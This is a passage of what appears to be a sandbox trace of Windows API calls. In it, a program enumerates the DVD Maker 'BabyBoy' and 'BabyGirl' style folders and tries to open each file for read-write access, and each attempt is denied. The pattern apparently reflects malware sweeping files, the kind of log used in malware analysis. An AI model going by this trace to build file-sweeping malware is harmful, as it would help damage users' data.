hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0103.891] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy") returned 51 [0103.891] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*") returned 55 [0103.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.896] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.896] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0103.896] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0103.896] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.896] GetLastError () returned 0x5 [0103.896] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0103.896] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0103.896] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.898] GetLastError () returned 0x5 [0103.898] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0103.898] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0103.898] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.898] GetLastError () returned 0x5 [0103.898] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0103.898] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0103.899] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.899] GetLastError () returned 0x5 [0103.899] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0103.899] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0103.899] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.899] GetLastError () returned 0x5 [0103.899] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0103.899] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0103.899] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.901] GetLastError () returned 0x5 [0103.901] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0103.901] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0103.901] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.902] GetLastError () returned 0x5 [0103.902] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0103.902] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0103.902] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.902] GetLastError () returned 0x5 [0103.902] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0103.902] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0103.902] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.903] GetLastError () returned 0x5 [0103.903] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0103.903] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79 [0103.903] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.904] GetLastError () returned 0x5 [0103.904] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0103.904] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0103.904] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.905] GetLastError () returned 0x5 [0103.905] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0103.905] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74 [0103.905] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.905] GetLastError () returned 0x5 [0103.905] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0103.905] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74 [0103.905] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.906] GetLastError () returned 0x5 [0103.906] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0103.906] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png") returned 69 [0103.906] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.907] GetLastError () returned 0x5 [0103.907] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0103.908] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0103.908] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.908] GetLastError () returned 0x5 [0103.908] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0103.908] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0103.908] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.909] GetLastError () returned 0x5 [0103.909] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0103.909] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png") returned 67 [0103.909] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.909] GetLastError () returned 0x5 [0103.909] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0103.909] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.912] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0103.912] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 52 [0103.912] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*") returned 56 [0103.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.915] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.916] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0103.916] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png") returned 78 [0103.916] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.916] GetLastError () returned 0x5 [0103.916] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 